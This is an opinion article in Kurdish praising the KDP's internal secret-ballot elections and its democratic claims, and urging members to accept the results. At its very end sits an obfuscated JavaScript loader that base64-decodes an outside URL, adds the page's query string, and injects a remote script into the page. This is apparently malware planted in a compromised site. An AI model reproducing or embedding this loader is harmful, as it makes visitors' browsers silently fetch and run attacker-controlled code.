هه‌لبژارتنێن ناڤخوه‌یی پرانسیبه‌كا رێكخستنا پارتییه
ئحسان ئامێدی
خالا ئێكێ ژ به‌ندێ شه‌شێ ژ په‌یره‌وێ ناڤخوه‌یێ پارتی دبێژیت :(پشتبه‌ستن ب پرانسیبا ده‌نگدانا نهێنی بۆ هه‌لبژارتنا ده‌سته‌یێن پارتی). ئه‌ڤه ئێك ژ پرانسیبێن بنه‌مایێن رێكخستنا پارتی نه، و پارتی یا پێ پێگیره و كاری پێ دكه‌ت.
پشتی كۆنگره‌یێ چارده‌یێ پارتی و هه‌لبژارتنا سه‌رۆك و جێگر و كۆمیتا ناڤین، ئه‌ڤه ارتی ده‌ست ب هه‌لبژارتنێن ناڤخوه‌یی كرن بۆ هه‌لبژارتنا ده‌سته‌یێن ئۆرگانێن دی یێن پارتی ژ بنكه‌ی بۆ رێكخراوێ باشی بۆ ناڤچێ، ئه‌ڤجا لقێ و ل دوماهیێ مه‌كته‌با رێكخستنا پارێزگه‌هێ، ئانكو هه‌می ئۆرگانێن پارتی ب رێكا هه‌لبژارتنێن ئازاد و راسته‌وخۆ ب ده‌نگدانا نهێنی دهێنه هه‌لبژارتن و شه‌رعیه‌تا خوه یا ده‌ربرین ژ ئیراده‌یا ئه‌ندامێن پارتی وه‌ردگرن.
پارتی رێكخستنه‌كا سیاسیا دیموكراتیه و باوه‌ری ب دیموكراتی و هه‌لبژارتنێن دیموكراتیێن ئازاد هه‌یه و كاری پێ دكه‌ت و ژ مه‌رجێن ئه‌ندامبوونا پارتیه باوه‌ری ب پروگرام و په‌یره‌وێ ناڤخوه‌ێ پارتی هه‌بیت و كاری پێ بكه‌ت و بۆ بكه‌ت، و ژ پرانسیبێن بنه‌كیێن رێكخستنا پارتی یه، هه‌لبژارتنا نوینه‌رێن كۆنگره‌یان و ئه‌ندامێن ده‌سته‌یێن ئورگانێن پارتیه برێكا هه‌لبژارتنێن دیموكراتیێن ئازاد و راسته‌وخوه و نهێنی، و پارتی ئه‌ڤ پرانسیبه هه‌ر ژ كونگره‌یێ دامه‌زراندنێ بكارئیناینه و یا به‌رده‌وامه ل سه‌ر.
و ل سه‌ر ڤی بنه‌مای پارتی به‌راهیا ده‌ستپێكرنا كۆنگره‌یێن هه‌لبژارتنا نوونه‌رێن كۆنگره‌یێ ب رێكا ده‌نگدانا نهێنی و ئازاد دكه‌ت و پاشی ژی د ناڤ كۆنگره‌ى دا هه‌می لیژنه ب ده‌نگدانێ دهێنه پێكئینان و پرۆگرام وپه‌یره‌و و بریار و راسپارده ژی ب ده‌نگدانێ ب زورینا ده‌نگان دهێنه په‌سه‌ندكرن ئه‌ڤجا سه‌روك و جێگر و كۆمیتا ناڤین ژی ب رێكا هه‌لبژارتنێ و ده‌نگدانا نهێنی و راسته‌وخوه و ب زۆرینه‌یا ده‌نگان دهێنه هه‌لبژارتن.
دیموكراتیه‌ت ب هه‌می بنه‌مایێن خوه‌ڤه، ئازادیا رایێ و ده‌ربڕینێ، ره‌خنه‌گرتن، خوه هه‌لبژارتن بۆ ئۆرگانێن پارتی و ده‌نگدانا ئازاد و راوێژكاریكرن و سه‌ركردایه‌تیا ب كۆم ژ پرانسیبێن جێگیرن د ناڤ هه‌می ئۆرگانێن پارتی دا و كار پێ دهێته‌كرن، و پارتی رێكخستنا سیاسیا ئێكێ یه ل كوردستانێ و ل رۆژهه‌لاتا ناڤین باوه‌ری ب ڤان پرانسیبان هه‌ی و كاری پێ دكه‌ت، ئه‌ڤه ژی ڤه‌دگه‌ریت بۆ باوه‌ریا رێبازا بارزانی و رێبوارێن ڤێ رێكێ ب مافێن مرۆڤی و دادپه‌روه‌ریێ و وه‌كهه‌ڤیی و ئازادیێ و پێكڤه‌ژیانێ و مافێ بریاردانێ ژ چاره‌نڤیسێ ملله‌تی، هه‌روه‌كو باوه‌ری بوونه بخۆ و پارتیا خوه و ب ڤان پرانسیبان.
پارتی هه‌ر ژ دامه‌زراندنا خوه ئۆرگانێن خوه ب هه‌لبژارتنان داناینه، بگره ژ سه‌ره‌كێ پارتی و ئه‌ندامێن كۆمیتا ناڤین و مه‌كته‌با سیاسی هه‌تا ده‌سته‌یێن ئۆرگانان ژ سه‌ركردایه‌تیێ هه‌تا بنگه‌هان، له‌وا هه‌ره‌م د نوبوونه‌ڤێ و گه‌شه‌دانێ و خوه‌گونجاندنێ دایه.
هه‌لبه‌ت هه‌لبژارتنا ده‌ست‌یێن پارتی زۆر گرنگه بۆ هندێ بهێته نیشادان پارتی حزبه‌كا دیموكراتیه و باوه‌ری پێ هه‌یه و بجهدئینیت، و داكو ئه‌ندامێن پارتی هه‌ست ب گرنگیا هه‌بوونا خوه بكه‌ت و رۆلێ خوه بگێریت بۆ نویبوونه‌ڤێ و گه‌شه‌كرنێ و ده‌ستنیشانكرنا هه‌ڤالێن ده‌سته‌یێن ئۆرگانێن پارتی و ئه‌ڤ پرانسیبه ده‌رگه‌هی وه‌كهه‌ڤ به‌رامبه‌ر هه‌می ئه‌ندامێن پارتی ڤه‌دكه‌ت كو ئاسته‌كێ به‌رپسیاریێ ب ده‌ستخوه‌ڤه بینن و خزمه‌ته‌كا زێده‌تر بكه‌ن.
چ پێ نه‌ڤێت وه‌كو هه‌ر پرۆسه‌كا هه‌لبژارتنان، د هه‌لبژارتنان دا، هه‌ڤڕكی د ناڤبه‌را به‌ربژاران دا چێدبیت و گرۆپێن شته‌ڤان و لایه‌نگیر دهێنه دروستكرن و گه‌له‌ك سۆز و په‌یمان دهێنه‌دان بۆ هندێ به‌ربژار بشێت پتریا ده‌نگان بده‌ستڤه‌بینیت، ل دوماهیێ ده‌نگدان ئه‌نجامان ئێكلادكه‌ت و هنده‌ك سه‌ردكه‌ڤن و ئاهه‌نگێن سه‌ركه‌فتنێ دگێرن، و هنده‌ك ژی سه‌ركه‌فتنێ بده‌ستڤه‌نائینن، دلمای دبن و گله‌یان دكه‌ن، لێ لدوماهیێ هه‌می د پشكدارن د سه‌رئێخستنا پرۆسه‌یه‌كا پارتایه‌تیدا و سه‌ركه‌فتنا پرۆسێ ژی سه‌ركه‌فتنا پارتی و هه‌می ئه‌ندامێن پارتی یه و هه‌ر زوی ده‌سته‌یێن نوی ده‌ست ب كارێن خوه دكه‌ن و ره‌وش و كاروبار به‌ر ب باشتر ڤه دچن.
و ژ ئه‌ركێن ئه‌ندامن پارتیه ئه‌نجامێن هه‌لبژارتنێن ناڤخوه‌یی ب دلخوه‌شی وه‌رگرن و پیرۆزباهیێ ل سه‌ركه‌فتیان بكه‌ن و پشته‌ڤانی لێ بكه‌ن دا ل قۆناغا نوی رۆلێ خوه باشتر بگێرن و به‌ره‌ف پێشڤه‌تر ڤه بچن، چونكی پارتی هه‌ر پارتیا وی یه، و پرانسیبه‌كا پارتیا وی یه دهێته بجهئینان و سه‌ركه‌فتنه بۆ پارتیا وی و هه‌می ئه‌نامان، زێده‌باری كو پارتی حزبه‌كا جێگیره و خودان رێبازه‌كا دیار و رۆهنه، و هه‌ر ئه‌نجامه‌كا هه‌لبژارتنان هه‌بیت و هه‌ر گوهۆرینه‌كا د ده‌سته‌یێن ئۆرگانان دا چیبیت، دێ هه‌ر پێگیرێ رێبازا پارتی و بارزانی بیت و مافێن پارتایه‌تیێن هه‌می هه‌ڤالان دێ د پاراستی بن.
هه‌لبژارتن نویاتیه‌كێ چێدكه‌ت و خوینه‌كا نوی دكه‌ڤیته د ناڤ ئۆرگانێن پارتی دا و ده‌رفه‌ت بۆ نفشێ نوی چێدبیت كو جهێ خوه د ناڤ ڤان ئۆرگانان دا ببینن و گوروتینه‌كا دیتر بده‌نه بزاڤ و چالاكیێن پارتی و گه‌شه‌بوونه‌كێ چێدكه‌ت.
پارتی بوون شانازیه، چونكی پارتی وه‌كو خاسته‌كا نه‌ته‌وه‌یی ل سه‌رده‌ستێ بارزانی پێناڤی مافێن نه‌ته‌وه‌یێن گه‌لێ كوردستانێ دروستبوویه، و خه‌بات بۆ كریه و قوربانی بۆ داینه و ده‌ستكه‌فتیێن نه‌ته‌وه‌یێن مه‌زن بده‌ستڤه‌ئیناینه و د چ كاودانان دا ده‌ستبه‌رداری مافێن ملله‌تی نه‌بوویه و ده‌ربرینێ ژڤێ ئیراده‌یا ملله‌تی دكه‌ت، و پارتیه‌كا دیموكراتیه، ئارمانجا وێ دیموكراتیه‌ته و رێبازا وێ ژی دیموكراتیه‌ته، و هه‌لسوكه‌وتێ وێ یێ ناڤخوه و دگه‌ل لایه‌نێن دی ژی دیموكراتیه‌ته، و داخوازا چاره‌سه‌ریێن دیموكراتی بۆ دۆزا كوردستانێ دكه‌ت و حوكمرانیا دیموكراتی بۆ هه‌رێما كوردستانێ و ده‌وله‌تا ئیراقێ ده‌ستبه‌ركریه، هه‌روه‌سا پارتی باوه‌ری ب مافێن مرۆڤی و دادپه‌روه‌ریا جڤاكی و وه‌كهه‌ڤیێ، پێكڤه‌ژیانێ و گه‌شه‌دانێ هه‌یه، و ب ڤێ چه‌ندێ هه‌می ئه‌ندامێن پارتی ده‌رفه‌تێن یه‌كسان د ناڤ پارتی دا بۆ خوه دبینن كو بچنه پێش و خه‌لكێ كوردستانێ ژی یێ به‌خته‌وه‌ره دگه‌ل پارتی بن و ل ژێر سیبه‌را ده‌ستهه‌لاتا وێ بن كو خودانا ڤان بیروباوه‌ران و ئارمانجان و كاران و ده‌ستكه‌فتیانه.
دا پێكڤه پیرۆزباهیێ ل پارتی و سه‌رۆك بارزانی بكه‌ین ل سه‌ر ڤی كارێ مه‌زن و ل سه‌ر ڤێ رێبازا پیروز، و ب رژدی كار بكه‌ین بۆ به‌رده‌وامبوون و گه‌ه‌دانا پارتی و كوردستانێ.(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();
